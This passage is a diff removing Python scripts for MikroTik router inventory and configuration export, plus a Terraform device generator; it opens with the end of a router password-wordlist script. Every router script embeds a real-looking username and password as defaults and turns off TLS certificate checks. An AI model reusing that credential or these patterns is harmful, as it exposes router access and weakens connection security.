|
||||
print("Wordlist saved to: mikrotik_wordlist.txt")
|
||||
|
||||
# Show first 20 passwords as preview
|
||||
print("\nFirst 20 passwords in wordlist:")
|
||||
for i, pwd in enumerate(valid_passwords[:20]):
|
||||
print(f" {i+1:2d}: {pwd}")
|
||||
|
||||
if len(valid_passwords) > 20:
|
||||
print(f" ... and {len(valid_passwords) - 20} more")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,64 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import re
|
||||
import sys
|
||||
|
||||
def sanitize_resource_name(name):
|
||||
"""Convert system name to valid Terraform resource identifier."""
|
||||
# Remove trailing spaces and convert to lowercase
|
||||
name = name.strip().lower()
|
||||
# Replace spaces and special chars with underscores
|
||||
name = re.sub(r'[^a-z0-9_]', '_', name)
|
||||
# Remove consecutive underscores
|
||||
name = re.sub(r'_+', '_', name)
|
||||
# Remove leading/trailing underscores
|
||||
name = name.strip('_')
|
||||
# Prefix with 'device_' if it starts with a number
|
||||
if name and name[0].isdigit():
|
||||
name = 'device_' + name
|
||||
return name
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print("Usage: ./generate_terraform.py <input_file> <site_name>")
|
||||
print("Example: ./generate_terraform.py new_hope_results.txt new_hope")
|
||||
sys.exit(1)
|
||||
|
||||
input_file = sys.argv[1]
|
||||
site_name = sys.argv[2]
|
||||
output_file = f"{site_name}_hosts.tf"
|
||||
|
||||
# Read SNMP results
|
||||
with open(input_file, 'r') as f:
|
||||
devices = []
|
||||
for line in f:
|
||||
ip, sysname = line.strip().split('|')
|
||||
if sysname != 'UNKNOWN':
|
||||
resource_name = sanitize_resource_name(sysname)
|
||||
devices.append({
|
||||
'ip': ip,
|
||||
'name': sysname.strip(),
|
||||
'resource_name': resource_name
|
||||
})
|
||||
|
||||
# Handle duplicate resource names by appending IP last octet
|
||||
seen_names = {}
|
||||
for device in devices:
|
||||
original_name = device['resource_name']
|
||||
if original_name in seen_names:
|
||||
# Append the last octet of the IP to make it unique
|
||||
last_octet = device['ip'].split('.')[-1]
|
||||
device['resource_name'] = f"{original_name}_{last_octet}"
|
||||
else:
|
||||
seen_names[original_name] = True
|
||||
|
||||
# Generate Terraform file
|
||||
with open(output_file, 'w') as f:
|
||||
for device in devices:
|
||||
f.write(f'resource "towerops_device" "{device["resource_name"]}" {{\n')
|
||||
f.write(f' site_id = towerops_site.{site_name}.id\n')
|
||||
f.write(f' name = "{device["name"]}"\n')
|
||||
f.write(f' ip_address = "{device["ip"]}"\n')
|
||||
f.write(f' snmp_version = "1"\n')
|
||||
f.write(f'}}\n\n')
|
||||
|
||||
print(f"Generated {output_file} with {len(devices)} devices")
|
||||
|
|
@ -1,205 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Get access points from a MikroTik router by checking DHCP leases and ARP table
|
||||
"""
|
||||
import ssl
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
|
||||
try:
|
||||
from librouteros import connect
|
||||
except ImportError:
|
||||
print("Error: librouteros module not found")
|
||||
print("Install with: pip install librouteros")
|
||||
sys.exit(1)
|
||||
|
||||
def connect_to_router(ip, username, password, use_ssl=True):
|
||||
"""Connect to MikroTik router"""
|
||||
port = 8729 if use_ssl else 8728
|
||||
try:
|
||||
if use_ssl:
|
||||
# SSL context for secure connection
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=ip,
|
||||
port=port,
|
||||
ssl_wrapper=ctx.wrap_socket
|
||||
)
|
||||
else:
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=ip,
|
||||
port=port
|
||||
)
|
||||
|
||||
print(f"✓ Connected to {ip}")
|
||||
return api
|
||||
except Exception as e:
|
||||
print(f"✗ Connection failed: {e}")
|
||||
return None
|
||||
|
||||
def get_dhcp_leases(api):
|
||||
"""Get DHCP leases from the router"""
|
||||
try:
|
||||
leases = list(api.path('/ip/dhcp-server/lease'))
|
||||
return leases
|
||||
except Exception as e:
|
||||
print(f"Error getting DHCP leases: {e}")
|
||||
return []
|
||||
|
||||
def get_arp_table(api):
|
||||
"""Get ARP table from the router"""
|
||||
try:
|
||||
arp_entries = list(api.path('/ip/arp'))
|
||||
return arp_entries
|
||||
except Exception as e:
|
||||
print(f"Error getting ARP table: {e}")
|
||||
return []
|
||||
|
||||
def get_capsman_registrations(api):
|
||||
"""Get Capsman registration table if available"""
|
||||
try:
|
||||
registrations = list(api.path('/caps-man/registration-table'))
|
||||
return registrations
|
||||
except Exception as e:
|
||||
# Capsman might not be configured
|
||||
return []
|
||||
|
||||
def is_likely_ap(hostname, mac, comment):
|
||||
"""Determine if a device is likely an access point based on hostname/MAC/comment"""
|
||||
if not hostname:
|
||||
hostname = ""
|
||||
if not comment:
|
||||
comment = ""
|
||||
|
||||
hostname_lower = hostname.lower()
|
||||
comment_lower = comment.lower()
|
||||
|
||||
# Common AP identifiers
|
||||
ap_indicators = ['ap', 'access', 'ubiquiti', 'unifi', 'mikrotik', 'routerboard',
|
||||
'airmax', 'litebeam', 'nanostation', 'powerbeam', 'rocket',
|
||||
'hap', 'cap', 'sxt', 'lhg', 'wap']
|
||||
|
||||
for indicator in ap_indicators:
|
||||
if indicator in hostname_lower or indicator in comment_lower:
|
||||
return True
|
||||
|
||||
# Check for Ubiquiti MAC prefix (common for APs)
|
||||
if mac and mac.upper().startswith(('04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA')):
|
||||
return True
|
||||
|
||||
# Check for MikroTik MAC prefix
|
||||
if mac and mac.upper().startswith(('00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A')):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Get access points from MikroTik router')
|
||||
parser.add_argument('router_ip', help='Router IP address')
|
||||
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
|
||||
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
|
||||
parser.add_argument('-o', '--output', help='Output file (JSON)')
|
||||
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Connect to router
|
||||
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
|
||||
if not api:
|
||||
sys.exit(1)
|
||||
|
||||
print("\n=== Retrieving Access Point Information ===\n")
|
||||
|
||||
# Get data from router
|
||||
dhcp_leases = get_dhcp_leases(api)
|
||||
arp_table = get_arp_table(api)
|
||||
capsman_regs = get_capsman_registrations(api)
|
||||
|
||||
access_points = []
|
||||
|
||||
# Check Capsman registrations first (most reliable for APs)
|
||||
if capsman_regs:
|
||||
print("=== Capsman Registered Access Points ===")
|
||||
for reg in capsman_regs:
|
||||
ap_info = {
|
||||
'name': reg.get('interface', 'Unknown'),
|
||||
'mac': reg.get('mac-address', ''),
|
||||
'ip': reg.get('address', ''),
|
||||
'source': 'capsman',
|
||||
'interface': reg.get('interface', ''),
|
||||
'rx_signal': reg.get('rx-signal', '')
|
||||
}
|
||||
access_points.append(ap_info)
|
||||
print(f" {ap_info['name']}: {ap_info['ip']} ({ap_info['mac']})")
|
||||
|
||||
# Process DHCP leases
|
||||
print("\n=== DHCP Leases (Potential Access Points) ===")
|
||||
for lease in dhcp_leases:
|
||||
hostname = lease.get('host-name', '')
|
||||
mac = lease.get('mac-address', '')
|
||||
ip = lease.get('address', '')
|
||||
comment = lease.get('comment', '')
|
||||
|
||||
if is_likely_ap(hostname, mac, comment):
|
||||
ap_info = {
|
||||
'name': hostname or comment or mac,
|
||||
'ip': ip,
|
||||
'mac': mac,
|
||||
'source': 'dhcp',
|
||||
'comment': comment
|
||||
}
|
||||
|
||||
# Check if already in list (from capsman)
|
||||
if not any(ap['mac'] == mac for ap in access_points):
|
||||
access_points.append(ap_info)
|
||||
print(f" {ap_info['name']}: {ip} ({mac})")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
|
||||
# Check ARP table for any we might have missed
|
||||
print("\n=== ARP Table (Additional Devices) ===")
|
||||
for arp in arp_table:
|
||||
hostname = arp.get('interface', '')
|
||||
mac = arp.get('mac-address', '')
|
||||
ip = arp.get('address', '')
|
||||
|
||||
if is_likely_ap(hostname, mac, ''):
|
||||
# Check if already in list
|
||||
if not any(ap['mac'] == mac for ap in access_points):
|
||||
ap_info = {
|
||||
'name': hostname or mac,
|
||||
'ip': ip,
|
||||
'mac': mac,
|
||||
'source': 'arp',
|
||||
'interface': hostname
|
||||
}
|
||||
access_points.append(ap_info)
|
||||
print(f" {ap_info['name']}: {ip} ({mac})")
|
||||
|
||||
# Print summary
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Found {len(access_points)} access points\n")
|
||||
|
||||
# Print clean list
|
||||
print("=== Access Point List ===")
|
||||
for ap in sorted(access_points, key=lambda x: x['ip']):
|
||||
print(f"{ap['name']:<40} {ap['ip']:<15} {ap['mac']}")
|
||||
|
||||
# Save to file if requested
|
||||
if args.output:
|
||||
with open(args.output, 'w') as f:
|
||||
json.dump(access_points, f, indent=2)
|
||||
print(f"\nData saved to: {args.output}")
|
||||
|
||||
api.close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
|
@ -1,196 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Get all network devices from a MikroTik router (DHCP, ARP, interfaces)
|
||||
to identify access points and other devices
|
||||
"""
|
||||
import ssl
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
from collections import defaultdict
|
||||
|
||||
try:
|
||||
from librouteros import connect
|
||||
except ImportError:
|
||||
print("Error: librouteros module not found")
|
||||
print("Install with: pip install librouteros")
|
||||
sys.exit(1)
|
||||
|
||||
def connect_to_router(ip, username, password, use_ssl=True):
|
||||
"""Connect to MikroTik router"""
|
||||
port = 8729 if use_ssl else 8728
|
||||
try:
|
||||
if use_ssl:
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=ip,
|
||||
port=port,
|
||||
ssl_wrapper=ctx.wrap_socket
|
||||
)
|
||||
else:
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=ip,
|
||||
port=port
|
||||
)
|
||||
|
||||
print(f"✓ Connected to {ip}")
|
||||
return api
|
||||
except Exception as e:
|
||||
print(f"✗ Connection failed: {e}")
|
||||
return None
|
||||
|
||||
def get_dhcp_leases(api):
|
||||
"""Get DHCP leases"""
|
||||
try:
|
||||
return list(api.path('/ip/dhcp-server/lease'))
|
||||
except Exception as e:
|
||||
print(f"Error getting DHCP leases: {e}")
|
||||
return []
|
||||
|
||||
def get_arp_table(api):
|
||||
"""Get ARP table"""
|
||||
try:
|
||||
return list(api.path('/ip/arp'))
|
||||
except Exception as e:
|
||||
print(f"Error getting ARP table: {e}")
|
||||
return []
|
||||
|
||||
def get_device_type(mac, hostname, comment):
|
||||
"""Determine device type based on MAC prefix and other identifiers"""
|
||||
if not mac:
|
||||
return "Unknown"
|
||||
|
||||
mac_upper = mac.upper()
|
||||
|
||||
# Ubiquiti prefixes
|
||||
ubiquiti_prefixes = ['04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA']
|
||||
if any(mac_upper.startswith(prefix) for prefix in ubiquiti_prefixes):
|
||||
# Check if it's likely an access point vs customer device
|
||||
if hostname or comment:
|
||||
name = (hostname or comment).lower()
|
||||
if any(x in name for x in ['ap', 'access', 'bridge', 'station', 'loco', 'nano', 'powerbeam', 'rocket']):
|
||||
return "Ubiquiti AP"
|
||||
return "Ubiquiti Device"
|
||||
|
||||
# MikroTik prefixes
|
||||
mikrotik_prefixes = ['00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A']
|
||||
if any(mac_upper.startswith(prefix) for prefix in mikrotik_prefixes):
|
||||
if hostname or comment:
|
||||
name = (hostname or comment).lower()
|
||||
if any(x in name for x in ['ap', 'cap', 'hap', 'wap', 'sxt', 'lhg']):
|
||||
return "MikroTik AP"
|
||||
return "MikroTik Device"
|
||||
|
||||
return "Other Device"
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Get all network devices from MikroTik router')
|
||||
parser.add_argument('router_ip', help='Router IP address')
|
||||
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
|
||||
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
|
||||
parser.add_argument('-o', '--output', help='Output file (JSON)')
|
||||
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
|
||||
parser.add_argument('--show-all', action='store_true', help='Show all devices, not just likely APs')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
|
||||
if not api:
|
||||
sys.exit(1)
|
||||
|
||||
print("\n=== Retrieving Network Device Information ===\n")
|
||||
|
||||
dhcp_leases = get_dhcp_leases(api)
|
||||
arp_table = get_arp_table(api)
|
||||
|
||||
# Merge data by MAC address
|
||||
devices = defaultdict(lambda: {
|
||||
'ip': '',
|
||||
'mac': '',
|
||||
'hostname': '',
|
||||
'comment': '',
|
||||
'status': '',
|
||||
'type': 'Unknown',
|
||||
'server': '',
|
||||
'interface': ''
|
||||
})
|
||||
|
||||
# Process DHCP leases
|
||||
for lease in dhcp_leases:
|
||||
mac = lease.get('mac-address', '')
|
||||
if mac:
|
||||
dev = devices[mac]
|
||||
dev['mac'] = mac
|
||||
dev['ip'] = lease.get('address', dev['ip'])
|
||||
dev['hostname'] = lease.get('host-name', dev['hostname'])
|
||||
dev['comment'] = lease.get('comment', dev['comment'])
|
||||
dev['status'] = lease.get('status', dev['status'])
|
||||
dev['server'] = lease.get('server', dev['server'])
|
||||
|
||||
# Process ARP table
|
||||
for arp in arp_table:
|
||||
mac = arp.get('mac-address', '')
|
||||
if mac:
|
||||
dev = devices[mac]
|
||||
dev['mac'] = mac
|
||||
if not dev['ip']:
|
||||
dev['ip'] = arp.get('address', '')
|
||||
if not dev['interface']:
|
||||
dev['interface'] = arp.get('interface', '')
|
||||
|
||||
# Determine device types
|
||||
for mac, dev in devices.items():
|
||||
dev['type'] = get_device_type(mac, dev['hostname'], dev['comment'])
|
||||
|
||||
# Group by type
|
||||
by_type = defaultdict(list)
|
||||
for dev in devices.values():
|
||||
by_type[dev['type']].append(dev)
|
||||
|
||||
# Display results
|
||||
print("=== Network Devices by Type ===\n")
|
||||
|
||||
for device_type in ['Ubiquiti AP', 'MikroTik AP', 'Ubiquiti Device', 'MikroTik Device', 'Other Device']:
|
||||
if device_type in by_type:
|
||||
devices_of_type = sorted(by_type[device_type], key=lambda x: x['ip'])
|
||||
|
||||
if not args.show_all and device_type == 'Other Device':
|
||||
print(f"\n{device_type}s: {len(devices_of_type)} (use --show-all to display)")
|
||||
continue
|
||||
|
||||
print(f"\n{device_type}s: {len(devices_of_type)}")
|
||||
print("-" * 100)
|
||||
for dev in devices_of_type:
|
||||
name = dev['hostname'] or dev['comment'] or dev['mac']
|
||||
print(f" {name:<35} {dev['ip']:<15} {dev['mac']:<17} {dev['interface']:<20}")
|
||||
if dev['comment'] and dev['comment'] != name:
|
||||
print(f" Comment: {dev['comment']}")
|
||||
|
||||
# Summary
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Total devices found: {len(devices)}")
|
||||
for device_type, devs in sorted(by_type.items()):
|
||||
print(f" {device_type}: {len(devs)}")
|
||||
|
||||
# Save to file if requested
|
||||
if args.output:
|
||||
output_data = {
|
||||
'router': args.router_ip,
|
||||
'devices': [dev for dev in devices.values()],
|
||||
'by_type': {k: v for k, v in by_type.items()}
|
||||
}
|
||||
with open(args.output, 'w') as f:
|
||||
json.dump(output_data, f, indent=2)
|
||||
print(f"\nData saved to: {args.output}")
|
||||
|
||||
api.close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
|
@ -1,125 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import ssl
|
||||
from librouteros import connect
|
||||
from librouteros.query import Key
|
||||
|
||||
def get_climax_router_data():
|
||||
"""Connect to Climax router and retrieve network configuration"""
|
||||
|
||||
# Router connection details
|
||||
router_ip = '10.254.254.102'
|
||||
username = 'grahamro'
|
||||
password = 'cFKhz8q5gPLoucMbcT1Iy58r3IXgc3'
|
||||
|
||||
print(f"=== Connecting to Climax Router ({router_ip}) ===\n")
|
||||
|
||||
# SSL context for secure connection
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
try:
|
||||
# Connect to router
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=router_ip,
|
||||
port=8729,
|
||||
ssl_wrapper=ctx.wrap_socket
|
||||
)
|
||||
|
||||
print("✓ Connected successfully\n")
|
||||
|
||||
# Get IP addresses
|
||||
print("=== IP Addresses ===")
|
||||
ip_addresses = api('/ip/address/print')
|
||||
|
||||
subnets = []
|
||||
for addr in ip_addresses:
|
||||
if not addr.get('disabled', False):
|
||||
address = addr['address']
|
||||
interface = addr.get('interface', 'unknown')
|
||||
network = addr.get('network', '')
|
||||
comment = addr.get('comment', '')
|
||||
|
||||
print(f"Interface: {interface}")
|
||||
print(f" Address: {address}")
|
||||
print(f" Network: {network}")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
print()
|
||||
|
||||
subnets.append({
|
||||
'address': address,
|
||||
'network': network,
|
||||
'interface': interface,
|
||||
'comment': comment
|
||||
})
|
||||
|
||||
# Get PPPoE servers
|
||||
print("\n=== PPPoE Servers ===")
|
||||
try:
|
||||
pppoe_servers = api('/interface/pppoe-server/server/print')
|
||||
for server in pppoe_servers:
|
||||
if not server.get('disabled', False):
|
||||
name = server.get('service-name', 'unnamed')
|
||||
interface = server.get('interface', 'unknown')
|
||||
print(f"Service: {name} on {interface}")
|
||||
except:
|
||||
print("No PPPoE servers found or access denied")
|
||||
|
||||
# Get interfaces
|
||||
print("\n=== Active Interfaces ===")
|
||||
interfaces = api('/interface/print')
|
||||
active_interfaces = []
|
||||
|
||||
for iface in interfaces:
|
||||
if not iface.get('disabled', False) and iface.get('running', False):
|
||||
name = iface['name']
|
||||
itype = iface.get('type', 'unknown')
|
||||
mac = iface.get('mac-address', 'N/A')
|
||||
comment = iface.get('comment', '')
|
||||
|
||||
active_interfaces.append({
|
||||
'name': name,
|
||||
'type': itype,
|
||||
'mac': mac,
|
||||
'comment': comment
|
||||
})
|
||||
|
||||
print(f"{name} ({itype})")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
|
||||
# Close connection
|
||||
api.close()
|
||||
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Found {len(subnets)} IP addresses/subnets")
|
||||
print(f"Found {len(active_interfaces)} active interfaces")
|
||||
|
||||
# Return data for further processing
|
||||
return {
|
||||
'subnets': subnets,
|
||||
'interfaces': active_interfaces,
|
||||
'router_ip': router_ip
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Connection failed: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
data = get_climax_router_data()
|
||||
|
||||
if data:
|
||||
print("\n=== Router Data Retrieved Successfully ===")
|
||||
print(f"This data can be used to update NetBox with Climax router configuration")
|
||||
else:
|
||||
print("\n✗ Failed to retrieve router data")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,161 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import ssl
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
from librouteros import connect
|
||||
from librouteros.query import Key
|
||||
except ImportError:
|
||||
print("Error: librouteros module not found")
|
||||
print("Install with: pip install librouteros")
|
||||
sys.exit(1)
|
||||
|
||||
def get_router_basic_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
|
||||
"""
|
||||
Get basic router configuration data (simplified for older RouterOS)
|
||||
|
||||
Args:
|
||||
host: IP address or hostname of the router
|
||||
username: Router username
|
||||
password: Router password
|
||||
port: API-SSL port (default: 8729)
|
||||
|
||||
Returns:
|
||||
Dictionary containing basic router configuration
|
||||
"""
|
||||
|
||||
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
|
||||
|
||||
# SSL context for secure connection
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
try:
|
||||
# Connect to router
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=host,
|
||||
port=port,
|
||||
ssl_wrapper=ctx.wrap_socket
|
||||
)
|
||||
|
||||
print("✓ Connected successfully\n")
|
||||
|
||||
# Get unique subnets only (skip individual CGNAT IPs)
|
||||
print("=== IP Addresses (Unique Subnets) ===")
|
||||
ip_addresses = api('/ip/address/print')
|
||||
|
||||
# Group by network to handle CGNAT blocks
|
||||
networks_seen = {}
|
||||
subnets = []
|
||||
|
||||
for addr in ip_addresses:
|
||||
if not addr.get('disabled', False):
|
||||
address = addr['address']
|
||||
interface = addr.get('interface', 'unknown')
|
||||
network = addr.get('network', '')
|
||||
|
||||
# For CGNAT interface, only keep one representative
|
||||
if interface == 'cgnat':
|
||||
if network not in networks_seen:
|
||||
networks_seen[network] = True
|
||||
print(f"CGNAT Network: {network}/25 (multiple IPs)")
|
||||
subnets.append({
|
||||
'address': f"{network}/25",
|
||||
'network': network,
|
||||
'interface': interface,
|
||||
'comment': 'CGNAT pool'
|
||||
})
|
||||
else:
|
||||
# Regular interfaces
|
||||
print(f"Interface: {interface}")
|
||||
print(f" Address: {address}")
|
||||
print(f" Network: {network}")
|
||||
print()
|
||||
|
||||
subnets.append({
|
||||
'address': address,
|
||||
'network': network,
|
||||
'interface': interface,
|
||||
'comment': ''
|
||||
})
|
||||
|
||||
# Get key interfaces only
|
||||
print("\n=== Key Interfaces ===")
|
||||
interfaces = api('/interface/print')
|
||||
active_interfaces = []
|
||||
|
||||
# Focus on non-dynamic interfaces
|
||||
for iface in interfaces:
|
||||
if not iface.get('disabled', False) and iface.get('running', False):
|
||||
name = iface['name']
|
||||
itype = iface.get('type', 'unknown')
|
||||
|
||||
# Skip PPPoE client interfaces
|
||||
if not name.startswith('<'):
|
||||
active_interfaces.append({
|
||||
'name': name,
|
||||
'type': itype
|
||||
})
|
||||
|
||||
print(f"{name} ({itype})")
|
||||
|
||||
# Close connection
|
||||
api.close()
|
||||
|
||||
# Compile basic data
|
||||
router_data = {
|
||||
'host': host,
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'subnets': subnets,
|
||||
'interfaces': active_interfaces
|
||||
}
|
||||
|
||||
print(f"\n=== Summary ===")
|
||||
print(f"Found {len(subnets)} unique subnets")
|
||||
print(f"Found {len(active_interfaces)} active interfaces")
|
||||
|
||||
return router_data
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Connection failed: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Retrieve basic configuration from a MikroTik router')
|
||||
parser.add_argument('host', help='IP address or hostname of the router')
|
||||
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
|
||||
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
|
||||
parser.add_argument('--output', '-o', help='Output filename')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Get router data
|
||||
data = get_router_basic_data(args.host, args.username, args.password, args.port)
|
||||
|
||||
if data:
|
||||
if args.output:
|
||||
with open(args.output, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
print(f"\nData saved to: {args.output}")
|
||||
else:
|
||||
print("\n=== JSON Output ===")
|
||||
print(json.dumps(data, indent=2))
|
||||
|
||||
print("\n✓ Router data retrieved successfully")
|
||||
return 0
|
||||
else:
|
||||
print("\n✗ Failed to retrieve router data")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -1,207 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import ssl
|
||||
import sys
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
from librouteros import connect
|
||||
except ImportError:
|
||||
print("Error: librouteros module not found")
|
||||
print("Install with: pip install librouteros")
|
||||
sys.exit(1)
|
||||
|
||||
def get_router_config(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
|
||||
"""
|
||||
Get full router configuration export
|
||||
|
||||
Args:
|
||||
host: IP address or hostname of the router
|
||||
username: Router username
|
||||
password: Router password
|
||||
port: API-SSL port (default: 8729)
|
||||
|
||||
Returns:
|
||||
Configuration export string
|
||||
"""
|
||||
|
||||
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
|
||||
|
||||
# SSL context for secure connection
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
try:
|
||||
# Connect to router
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=host,
|
||||
port=port,
|
||||
ssl_wrapper=ctx.wrap_socket
|
||||
)
|
||||
|
||||
print("✓ Connected successfully\n")
|
||||
print("Exporting configuration...")
|
||||
|
||||
# Get router identity first
|
||||
try:
|
||||
identity_data = api('/system/identity/print')
|
||||
if identity_data:
|
||||
identity = identity_data[0].get('name', 'router')
|
||||
print(f"Router identity: {identity}")
|
||||
except:
|
||||
identity = 'router'
|
||||
|
||||
# Export configuration
|
||||
# Note: /export returns the config in a specific format
|
||||
try:
|
||||
# For RouterOS API, we need to get specific sections
|
||||
config_sections = []
|
||||
|
||||
# Get IP addresses
|
||||
print("\nGetting IP configuration...")
|
||||
ip_addresses = api('/ip/address/print')
|
||||
|
||||
# Get IP pools
|
||||
print("Getting IP pools...")
|
||||
try:
|
||||
ip_pools = api('/ip/pool/print')
|
||||
except:
|
||||
ip_pools = []
|
||||
|
||||
# Get PPPoE servers
|
||||
print("Getting PPPoE servers...")
|
||||
try:
|
||||
pppoe_servers = api('/interface/pppoe-server/server/print')
|
||||
except:
|
||||
pppoe_servers = []
|
||||
|
||||
# Get PPP profiles
|
||||
print("Getting PPP profiles...")
|
||||
try:
|
||||
ppp_profiles = api('/ppp/profile/print')
|
||||
except:
|
||||
ppp_profiles = []
|
||||
|
||||
# Get firewall NAT rules
|
||||
print("Getting NAT rules...")
|
||||
try:
|
||||
nat_rules = api('/ip/firewall/nat/print')
|
||||
except:
|
||||
nat_rules = []
|
||||
|
||||
# Get DHCP servers
|
||||
print("Getting DHCP configuration...")
|
||||
try:
|
||||
dhcp_servers = api('/ip/dhcp-server/print')
|
||||
dhcp_networks = api('/ip/dhcp-server/network/print')
|
||||
except:
|
||||
dhcp_servers = []
|
||||
dhcp_networks = []
|
||||
|
||||
# Build configuration summary
|
||||
config = f"# Configuration for {identity} ({host})\n"
|
||||
config += f"# Exported on {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"
|
||||
|
||||
# IP Addresses
|
||||
config += "# IP Addresses\n"
|
||||
for addr in ip_addresses:
|
||||
if not addr.get('disabled', False) and not addr.get('dynamic', False):
|
||||
config += f"/ip address add address={addr['address']} interface={addr.get('interface', '')} "
|
||||
if addr.get('comment'):
|
||||
config += f"comment=\"{addr['comment']}\""
|
||||
config += "\n"
|
||||
|
||||
# IP Pools
|
||||
if ip_pools:
|
||||
config += "\n# IP Pools\n"
|
||||
for pool in ip_pools:
|
||||
config += f"/ip pool add name={pool['name']} ranges={pool.get('ranges', '')}\n"
|
||||
|
||||
# PPPoE configuration
|
||||
if pppoe_servers:
|
||||
config += "\n# PPPoE Servers\n"
|
||||
for server in pppoe_servers:
|
||||
if not server.get('disabled', False):
|
||||
config += f"/interface pppoe-server server add name={server.get('service-name', '')} "
|
||||
config += f"interface={server.get('interface', '')} "
|
||||
if server.get('default-profile'):
|
||||
config += f"default-profile={server['default-profile']} "
|
||||
config += "\n"
|
||||
|
||||
# PPP Profiles
|
||||
if ppp_profiles:
|
||||
config += "\n# PPP Profiles\n"
|
||||
for profile in ppp_profiles:
|
||||
if profile['name'] != 'default' and profile['name'] != 'default-encryption':
|
||||
config += f"/ppp profile add name={profile['name']} "
|
||||
if profile.get('local-address'):
|
||||
config += f"local-address={profile['local-address']} "
|
||||
if profile.get('remote-address'):
|
||||
config += f"remote-address={profile['remote-address']} "
|
||||
config += "\n"
|
||||
|
||||
# NAT rules
|
||||
if nat_rules:
|
||||
config += "\n# NAT Rules\n"
|
||||
for rule in nat_rules:
|
||||
if not rule.get('disabled', False):
|
||||
config += f"/ip firewall nat add chain={rule.get('chain', '')} "
|
||||
if rule.get('src-address'):
|
||||
config += f"src-address={rule['src-address']} "
|
||||
if rule.get('dst-address'):
|
||||
